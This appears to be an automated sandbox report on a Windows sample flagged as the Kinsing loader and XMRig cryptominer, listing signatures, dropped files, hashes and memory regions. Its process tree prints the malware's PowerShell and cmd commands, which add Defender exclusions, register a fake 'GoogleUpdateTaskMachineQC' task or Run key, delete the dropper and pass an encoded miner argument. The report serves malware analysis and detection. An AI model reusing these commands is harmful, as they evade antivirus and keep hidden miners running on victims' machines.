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240125-vfcyksbhgr10

24/01/2024, 17:15

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Analysis

  • max time kernel
    1805s
  • max time network
    1805s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 28 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1544
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4020
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4688
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3648
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:2720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3184
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2948
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2612
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2524
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:1204
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:4152
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3276
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:552

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e339e51fd00c717673d7966ce68738e4bbdf9cdceb2c4d21a345535ec7191673
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_mf4fohjf.gu3.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mf4fohjf.gu3.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/552-117-0x00007FF76AF20000-0x00007FF76B131000-memory.dmp

                memory/552-56-0x00007FF76AF20000-0x00007FF76B131000-memory.dmp

                memory/552-83-0x00007FF76AF20000-0x00007FF76B131000-memory.dmp

                memory/552-129-0x00007FF76AF20000-0x00007FF76B131000-memory.dmp

                memory/1544-0-0x00007FF7CED10000-0x00007FF7CEF21000-memory.dmp

                memory/1544-38-0x00007FF7CED10000-0x00007FF7CEF21000-memory.dmp

                memory/1544-33-0x00007FF7CED10000-0x00007FF7CEF21000-memory.dmp

                memory/2612-133-0x00007FF6B92B0000-0x00007FF6B92C6000-memory.dmp

                memory/2612-139-0x00007FF6B92B0000-0x00007FF6B92C6000-memory.dmp

                memory/2948-107-0x0000016A43580000-0x0000016A43590000-memory.dmp

                memory/2948-106-0x0000016A43580000-0x0000016A43590000-memory.dmp

                memory/2948-120-0x0000016A43580000-0x0000016A43590000-memory.dmp

                memory/2948-118-0x0000016A5E040000-0x0000016A5E0F5000-memory.dmp

                memory/2948-119-0x00007FF4A6DF0000-0x00007FF4A6E00000-memory.dmp

                memory/2948-122-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/2948-104-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3008-17-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3008-13-0x0000013A78FE0000-0x0000013A78FF0000-memory.dmp

                memory/3008-6-0x0000013A789E0000-0x0000013A78A02000-memory.dmp

                memory/3008-14-0x0000013A78FE0000-0x0000013A78FF0000-memory.dmp

                memory/3008-12-0x0000013A78FE0000-0x0000013A78FF0000-memory.dmp

                memory/3008-11-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3184-70-0x00007FF45B880000-0x00007FF45B890000-memory.dmp

                memory/3184-86-0x000001AFFE340000-0x000001AFFE35A000-memory.dmp

                memory/3184-81-0x000001AFFE0D0000-0x000001AFFE185000-memory.dmp

                memory/3184-82-0x000001AFFE190000-0x000001AFFE19A000-memory.dmp

                memory/3184-69-0x000001AFFBC30000-0x000001AFFBC40000-memory.dmp

                memory/3184-84-0x000001AFFE300000-0x000001AFFE31C000-memory.dmp

                memory/3184-85-0x000001AFFE2E0000-0x000001AFFE2EA000-memory.dmp

                memory/3184-80-0x000001AFFE0B0000-0x000001AFFE0CC000-memory.dmp

                memory/3184-87-0x000001AFFE2F0000-0x000001AFFE2F8000-memory.dmp

                memory/3184-88-0x000001AFFE320000-0x000001AFFE326000-memory.dmp

                memory/3184-89-0x000001AFFE330000-0x000001AFFE33A000-memory.dmp

                memory/3184-90-0x000001AFFBC30000-0x000001AFFBC40000-memory.dmp

                memory/3184-93-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3184-68-0x000001AFFBC30000-0x000001AFFBC40000-memory.dmp

                memory/3184-67-0x000001AFFBC30000-0x000001AFFBC40000-memory.dmp

                memory/3184-62-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3276-148-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-142-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-183-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-181-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-179-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-177-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-195-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-193-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-191-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-131-0x000001FB643B0000-0x000001FB643D0000-memory.dmp

                memory/3276-130-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-132-0x000001FB648D0000-0x000001FB648F0000-memory.dmp

                memory/3276-175-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-134-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-136-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-137-0x000001FB64910000-0x000001FB64930000-memory.dmp

                memory/3276-138-0x000001FB648F0000-0x000001FB64910000-memory.dmp

                memory/3276-189-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-140-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-185-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-144-0x000001FB64910000-0x000001FB64930000-memory.dmp

                memory/3276-145-0x000001FB648F0000-0x000001FB64910000-memory.dmp

                memory/3276-146-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-187-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-150-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-152-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-154-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-156-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-158-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-160-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-165-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-167-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-169-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-171-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3276-173-0x00007FF716940000-0x00007FF717134000-memory.dmp

                memory/3648-55-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3648-39-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/3648-40-0x0000018A6A5F0000-0x0000018A6A600000-memory.dmp

                memory/3648-46-0x0000018A6A5F0000-0x0000018A6A600000-memory.dmp

                memory/3648-52-0x0000018A6A5F0000-0x0000018A6A600000-memory.dmp

                memory/4020-21-0x000001B9B1230000-0x000001B9B1240000-memory.dmp

                memory/4020-19-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp

                memory/4020-20-0x000001B9B1230000-0x000001B9B1240000-memory.dmp

                memory/4020-32-0x000001B9B1230000-0x000001B9B1240000-memory.dmp

                memory/4020-34-0x000001B9B1230000-0x000001B9B1240000-memory.dmp

                memory/4020-36-0x00007FFCD1470000-0x00007FFCD1F31000-memory.dmp